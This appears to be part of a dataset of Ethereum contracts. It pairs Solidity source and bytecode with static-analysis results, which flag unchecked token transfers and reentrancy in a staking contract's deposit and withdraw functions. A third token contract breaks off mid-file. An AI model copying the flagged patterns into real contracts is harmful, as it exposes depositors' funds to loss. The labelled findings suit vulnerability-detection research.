emit RewardPerBlockChanged(rewardPerBlock, _rewardPerBlock);
rewardPerBlock = _rewardPerBlock;
}
// Returns the amount of OHMS rewarded to stakers per block
function getRewardPerBlock() external view returns (uint256){
return rewardPerBlock;
}
// View function to see users staked balance on frontend.
function getUserDepositAmount(address _user) external view returns (uint256){
User storage user = users [_user];
return user.depositAmount;
}
// View function to see the amount staked in the contract in OHMS.
function getTotalStaked() external view returns (uint256){
return stakedToken.balanceOf(address(this));
}
// View function to get the remaining reward balance in the contract in OHMS.
function getTotalRemainingReward() external view returns (uint256){
return ohms.balanceOf(address(this));
}
// Update reward variables of the pool to be up-to-date.
function update() public {
if (block.number <= lastUpdatedBlock) {
return;
}
uint256 totalStakedToken;
if(stakedToken.balanceOf(address(this)) > 0){
totalStakedToken = stakedToken.balanceOf(address(this));
}
else{
totalStakedToken = 1;
}
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
totalOhmsReward = totalOhmsReward.add(rewardAmount);
uint256 reflectionRewardAmount = ohms.reflectionFromToken(rewardAmount, false).div(1000);
reflectionTillNowPerToken = reflectionTillNowPerToken.add(reflectionRewardAmount.div(totalStakedToken));
lastUpdatedBlock = block.number;
}
// View function to see pending reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
User storage user = users[_user];
uint256 accReflectionPerToken = reflectionTillNowPerToken;
uint256 totalStakedToken;
if(stakedToken.balanceOf(address(this)) > 0){
totalStakedToken = stakedToken.balanceOf(address(this));
}
else{
totalStakedToken = 1;
}
if (block.number > lastUpdatedBlock) {
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
uint256 reflectionReward = ohms.reflectionFromToken(rewardAmount,false).div(1000);
accReflectionPerToken = accReflectionPerToken.add(reflectionReward.div(totalStakedToken));
}
return ohms.tokenFromReflection((user.depositAmount.mul(accReflectionPerToken).sub(user.paidReflection)).mul(1000));
}
function deposit(uint256 amount) public {
User storage user = users[msg.sender];
update();
if (user.depositAmount > 0) {
uint256 _pendingReflection = (user.depositAmount.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(_ohmsReward > 0){
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
}
stakedToken.transferFrom(address(msg.sender), address(this), amount);
emit Deposit(msg.sender, amount);
user.depositAmount = user.depositAmount.add(amount);
user.paidReflection = user.depositAmount.mul(reflectionTillNowPerToken);
}
function withdraw(uint256 amount) public {
User storage user = users[msg.sender];
require(user.depositAmount >= amount, "withdraw amount exceeds deposited amount");
update();
uint256 _pendingReflection = (user.depositAmount.mul(reflectionTillNowPerToken).sub(user.paidReflection)).mul(1000);
uint256 _ohmsReward = ohms.tokenFromReflection(_pendingReflection);
if(_ohmsReward > 0){
ohms.transfer(address(msg.sender), _ohmsReward);
emit RewardClaimed(msg.sender, _ohmsReward);
}
stakedToken.transfer(address(msg.sender), amount);
emit Withdraw(msg.sender, amount);
user.depositAmount = user.depositAmount.sub(amount);
user.paidReflection = user.depositAmount.mul(reflectionTillNowPerToken);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
User storage user = users[msg.sender];
stakedToken.transfer(address(msg.sender), user.depositAmount);
emit EmergencyWithdraw(msg.sender, user.depositAmount);
user.depositAmount = 0;
user.paidReflection = 0;
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063a87430ba116100ad578063e25403a711610071578063e25403a71461026d578063e334924a14610275578063f2fde38b1461027d578063f40f0f52146102a3578063f90ce5ba146102c95761012c565b8063a87430ba146101e4578063b6b55f2514610223578063bb872b4a14610240578063cc7a262e1461025d578063db2e21bc146102655761012c565b8063715018a6116100f4578063715018a6146101bc5780638ae39cac146101c45780638da5cb5b146101cc5780638e968a0b146101d4578063a2e62045146101dc5761012c565b80630917e776146101315780630cec2a761461014b578063217b50ec146101715780632e1a7d4d1461019557806349df8d33146101b4575b600080fd5b6101396102d1565b60408051918252519081900360200190f35b6101396004803603602081101561016157600080fd5b50356001600160a01b031661034d565b610179610368565b604080516001600160a01b039092168252519081900360200190f35b6101b2600480360360208110156101ab57600080fd5b5035610377565b005b61013961062a565b6101b2610630565b6101396106e4565b6101796106ea565b6101396106f9565b6101b2610744565b61020a600480360360208110156101fa57600080fd5b50356001600160a01b0316610939565b6040805192835260208301919091528051918290030190f35b6101b26004803603602081101561023957600080fd5b5035610952565b6101b26004803603602081101561025657600080fd5b5035610bc4565b610179610c78565b6101b2610c87565b610139610d63565b610139610d69565b6101b26004803603602081101561029357600080fd5b50356001600160a01b0316610d6f565b610139600480360360208110156102b957600080fd5b50356001600160a01b0316610e79565b6101396110d1565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561031c57600080fd5b505afa158015610330573d6000803e3d6000fd5b505050506040513d602081101561034657600080fd5b5051905090565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b031681565b33600090815260016020526040902080548211156103c65760405162461bcd60e51b81526004018080602001828103825260288152602001806113186028913960400191505060405180910390fd5b6103ce610744565b60006104036103e86103fd84600101546103f760025487600001546110d790919063ffffffff16565b90611139565b906110d7565b60075460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b15801561045557600080fd5b505afa158015610469573d6000803e3d6000fd5b505050506040513d602081101561047f57600080fd5b505190508015610545576007546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156104dd57600080fd5b505af11580156104f1573d6000803e3d6000fd5b505050506040513d602081101561050757600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b6006546040805163a9059cbb60e01b81523360048201526024810187905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561059957600080fd5b505af11580156105ad573d6000803e3d6000fd5b505050506040513d60208110156105c357600080fd5b5050604080513381526020810186905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a1825461060c9085611139565b80845560025461061c91906110d7565b836001018190555050505050565b60045490565b61063861117b565b6000546001600160a01b0390811691161461069a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60045481565b6000546001600160a01b031690565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561031c57600080fd5b600354431161075257610937565b600654604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d60208110156107cc57600080fd5b5051111561085257600654604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561081f57600080fd5b505afa158015610833573d6000803e3d6000fd5b505050506040513d602081101561084957600080fd5b50519050610856565b5060015b600061087160045460035443036110d790919063ffffffff16565b600554909150610881908261117f565b60055560075460408051634549b03960e01b81526004810184905260006024820181905291519192610914926103e8926001600160a01b0390921691634549b039916044808301926020929190829003018186803b1580156108e257600080fd5b505afa1580156108f6573d6000803e3d6000fd5b505050506040513d602081101561090c57600080fd5b5051906111d9565b905061092c61092382856111d9565b6002549061117f565b600255505043600355505b565b6001602081905260009182526040909120805491015482565b336000908152600160205260409020610969610744565b805415610ade5760006109996103e86103fd84600101546103f760025487600001546110d790919063ffffffff16565b60075460408051632d83811960e01b81526004810184905290519293506000926001600160a01b0390921691632d83811991602480820192602092909190829003018186803b1580156109eb57600080fd5b505afa1580156109ff573d6000803e3d6000fd5b505050506040513d6020811015610a1557600080fd5b505190508015610adb576007546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b158015610a7357600080fd5b505af1158015610a87573d6000803e3d6000fd5b505050506040513d6020811015610a9d57600080fd5b5050604080513381526020810183905281517f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241929181900390910190a15b50505b600654604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610b3857600080fd5b505af1158015610b4c573d6000803e3d6000fd5b505050506040513d6020811015610b6257600080fd5b5050604080513381526020810184905281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a18054610bab908361117f565b808255600254610bbb91906110d7565b60019091015550565b610bcc61117b565b6000546001600160a01b03908116911614610c2e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c36610744565b600454604080519182526020820183905280517f79a5349732f93288abbb68e251c3dfc325bf3ee6fde7786d919155d39733e0f59281900390910190a1600455565b6006546001600160a01b031681565b3360008181526001602090815260408083206006548154835163a9059cbb60e01b815260048101979097526024870152915190946001600160a01b039092169363a9059cbb93604480850194919392918390030190829087803b158015610ced57600080fd5b505af1158015610d01573d6000803e3d6000fd5b505050506040513d6020811015610d1757600080fd5b5050805460408051338152602081019290925280517f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd96959281900390910190a16000808255600190910155565b60025481565b60055481565b610d7761117b565b6000546001600160a01b03908116911614610dd9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e1e5760405162461bcd60e51b81526004018080602001828103825260268152602001806113406026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808216600090815260016020908152604080832060025460065483516370a0823160e01b815230600482015293519596929591948794859492909216926370a08231926024808201939291829003018186803b158015610ee057600080fd5b505afa158015610ef4573d6000803e3d6000fd5b505050506040513d6020811015610f0a57600080fd5b50511115610f9057600654604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610f5d57600080fd5b505afa158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b50519050610f94565b5060015b600354431115611036576000610fb960045460035443036110d790919063ffffffff16565b60075460408051634549b03960e01b8152600481018490526000602482018190529151939450909261101b926103e8926001600160a01b0390911691634549b03991604480820192602092909190829003018186803b1580156108e257600080fd5b905061103161102a82856111d9565b859061117f565b935050505b600754600184015484546001600160a01b0390921691632d83811991611068916103e8916103fd916103f790896110d7565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561109c57600080fd5b505afa1580156110b0573d6000803e3d6000fd5b505050506040513d60208110156110c657600080fd5b505195945050505050565b60035481565b6000826110e657506000611133565b828202828482816110f357fe5b04146111305760405162461bcd60e51b81526004018080602001828103825260218152602001806113666021913960400191505060405180910390fd5b90505b92915050565b600061113083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121b565b3390565b600082820183811015611130576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061113083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b2565b600081848411156112aa5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561126f578181015183820152602001611257565b50505050905090810190601f16801561129c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113015760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561126f578181015183820152602001611257565b50600083858161130d57fe5b049594505050505056fe776974686472617720616d6f756e742065786365656473206465706f736974656420616d6f756e744f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212209556d25bf10636e8b09d832f515138c688daf3f09966366dd7cfafd4d63c255c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 122 |
0xb9EF770B6A5e12E45983C5D80545258aA38F3B78 | pragma solidity 0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/ZerochainToken.sol
contract ZerochainToken is MintableToken {
string public constant name = "0chain";
string public constant symbol = "ZCN";
uint8 public constant decimals = 10;
} | 0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100ea57806306fdde0314610111578063095ea7b31461019b57806318160ddd146101bd57806323b872dd146101e2578063313ce5671461020a57806340c10f1914610233578063661884631461025557806370a08231146102775780637d64bcb4146102965780638da5cb5b146102a957806395d89b41146102d8578063a9059cbb146102eb578063d73dd6231461030d578063dd62ed3e1461032f578063f2fde38b14610354575b600080fd5b34156100f557600080fd5b6100fd610375565b604051901515815260200160405180910390f35b341561011c57600080fd5b610124610396565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610160578082015183820152602001610148565b50505050905090810190601f16801561018d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a657600080fd5b6100fd600160a060020a03600435166024356103cd565b34156101c857600080fd5b6101d0610439565b60405190815260200160405180910390f35b34156101ed57600080fd5b6100fd600160a060020a036004358116906024351660443561043f565b341561021557600080fd5b61021d6105bf565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6100fd600160a060020a03600435166024356105c4565b341561026057600080fd5b6100fd600160a060020a03600435166024356106e3565b341561028257600080fd5b6101d0600160a060020a03600435166107dd565b34156102a157600080fd5b6100fd6107f8565b34156102b457600080fd5b6102bc6108a5565b604051600160a060020a03909116815260200160405180910390f35b34156102e357600080fd5b6101246108b4565b34156102f657600080fd5b6100fd600160a060020a03600435166024356108eb565b341561031857600080fd5b6100fd600160a060020a03600435166024356109fd565b341561033a57600080fd5b6101d0600160a060020a0360043581169060243516610aa1565b341561035f57600080fd5b610373600160a060020a0360043516610acc565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600681527f30636861696e0000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561045657600080fd5b600160a060020a03841660009081526020819052604090205482111561047b57600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104ae57600080fd5b600160a060020a0384166000908152602081905260409020546104d7908363ffffffff610b6716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461050c908363ffffffff610b7916565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610552908363ffffffff610b6716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600a81565b60035460009033600160a060020a039081169116146105e257600080fd5b60035474010000000000000000000000000000000000000000900460ff161561060a57600080fd5b60015461061d908363ffffffff610b7916565b600155600160a060020a038316600090815260208190526040902054610649908363ffffffff610b7916565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561074057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610777565b610750818463ffffffff610b6716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461081657600080fd5b60035474010000000000000000000000000000000000000000900460ff161561083e57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f5a434e0000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561090257600080fd5b600160a060020a03331660009081526020819052604090205482111561092757600080fd5b600160a060020a033316600090815260208190526040902054610950908363ffffffff610b6716565b600160a060020a033381166000908152602081905260408082209390935590851681522054610985908363ffffffff610b7916565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a35908363ffffffff610b7916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610ae757600080fd5b600160a060020a0381161515610afc57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b7357fe5b50900390565b600082820183811015610b8857fe5b93925050505600a165627a7a7230582020fecfd4fa1e10b4b2c7846973268310f8d0e10d09afacbb34598445e58954b40029 | {"success": true, "error": null, "results": {}} | 123 |
0x24e7b43b8c073cc54cf1dbdb39bf3e134159f775 | /**
*Submitted for verification at Etherscan.io on 2021-10-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OptimusPrime is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "OptimusPrime";
string private constant _symbol = "OptimusPrime";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2; // 2% reflection fee for every holder
uint256 private _teamFee = 30; //30% for first 15 mins, 10% for first hour. Afterwards 5% Marketing
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr) {
_Marketingfund = devFundAddr;
_Deployer = depAddr;
_devWalletAddress = devfeeAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
_isExcludedFromFee[_Deployer] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
